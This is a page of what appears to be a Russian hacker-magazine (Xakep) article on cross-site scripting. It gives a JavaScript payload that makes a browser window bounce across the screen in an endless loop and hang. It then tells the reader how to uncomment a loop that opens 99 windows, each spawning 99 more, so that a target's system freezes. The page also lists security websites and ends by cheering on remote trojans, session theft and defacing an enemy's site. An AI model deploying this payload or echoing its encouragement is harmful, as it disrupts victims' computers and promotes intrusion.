|

Cross Site Scripting
Xakep, номер #042, стр. 042-038-5
window.open("Http:///jj.htm");
window.resizeTo(screen.width/2,screen.height/2);
window.moveTo(1,1);
var x=1;
var y=1;
var dx=20;
var dy=17;
move();
function move(){
while(true){
if(x>=(screen.width)||x<=0) dx=-dx;
if(y>=(screen.height)||y<=0) dy=-dy;
x+=dx;
y+=dy;
window.moveTo(x,y);
}}}
//var i=0;
//while(i<99)
// {
//window.open("Http://vurn/url/srcipt.htm");
//i++;
// }
</script>
<b>Вирусы... вирусы... везде вирусы... Скачай антивирус!;) </body></html>
Этот код заставит окошко броузера скокать по экрану, причем прихлопнуть его по alt+F4 не удастся ;), оно зависает.
А чтобы окончательно повесить систему, необходимо добавить процедуру открытия урла с мессагой и взять все это дело в цикл. В результате скрипт будет вызывать сам себя n раз, а каждое открытое окно будет вызывать еще n окон, и так далее.
Притом вся эта масса будет постоянно двигаться, вызывая незабываемые ощущения у сидящего напротив монитора ;). Правда, наблюдать всю эту красотень сможет перец только с очень мощным кристаллом, мой старенький P-III 450, оверлокнутый до 550, жутко тормозил, открывая по 99 окон иксплорера, каждое из которых пыталось открыть еще 99 ;))).
Чтобы воплотить все ЭТО в жизнь, просто убери из вышеприведенного кода все "//" - это раскомментирует и цикл, и процедуру открытия окон. Да, не забудь заменить Http://vurn/url/srcipt.htm на адрес до твоей мессаги.
Сайты с дополнительной инфой
http://www.securityfocus.com - Один из лучших, на мой взгляд, багтраков. Обновляется ежечасно, за время работы накопилось огромное количество информации - юзай поиск. Все, естественно, на английском - привыкай, в рунете почти нет толковой информации ;).
http://www.cert.org - "Software ingineering Institute". В общем, кодерский сайт, но тут есть куча статей и по security - все толковые, компетентные, хотя, в общем-то, однобокие(кодерский же сайт, кодерский! ;)).
http://www.malware.com - Сайт, полностью посвящен дыркам в windows. Обязательно зайди ;).
http://www.modernhacker.com - Хакерский сайт с неплохой подборкой материалов. Имеется свой собственный багтрак, все материалы путевые, хотя до SF, конечно, еще далеко.
http://www.owasp.org - Полезнейший ресурс. Все сетевые атаки классифицированы и разложены по полочкам, на каждую имеется подробное описание: как пользоваться баком, чем он и кому опасен, как от него защищаться,
в общем, аналитические материалы, претендующие (и успешно!) на объективность.
http://www.securitylab.ru - Русскоязычный ресурс... Весьма посредственный, как мне показалось. По существу, своих материалов нет, если, конечно, не считать оными ПРОМТ'овские переводы того же OWASP'а и англоязычных багтраков.
Этот сайт можно посоветовать людям, слабо владеющим английским языком - в качестве суррогата, должно быть, неплохого. Хотя, всегда лучше получать информацию из оригинальных источников.
http://www.xakep.ru - Комментарии нужны? :) Побежали, побежали!
/* Тхе енд */
Что-что? Ты говоришь "сложно"? Конечно сложно, сложно запустить закаченного трояна на удаленной тачке, сложно упереть сеанс. Еще бы! Это тебе не IIS по unicode-багу ломать, тут подумать надо. Но что только не сделаешь ради обещанного врагу дефейса, ради красивого uin'а! Да и потом хакер от обезьяны тем и отличается, что сложности его не пугают.
Назад на стр. 042-038-4 Содержание Вперед на стр. 042-038-6
|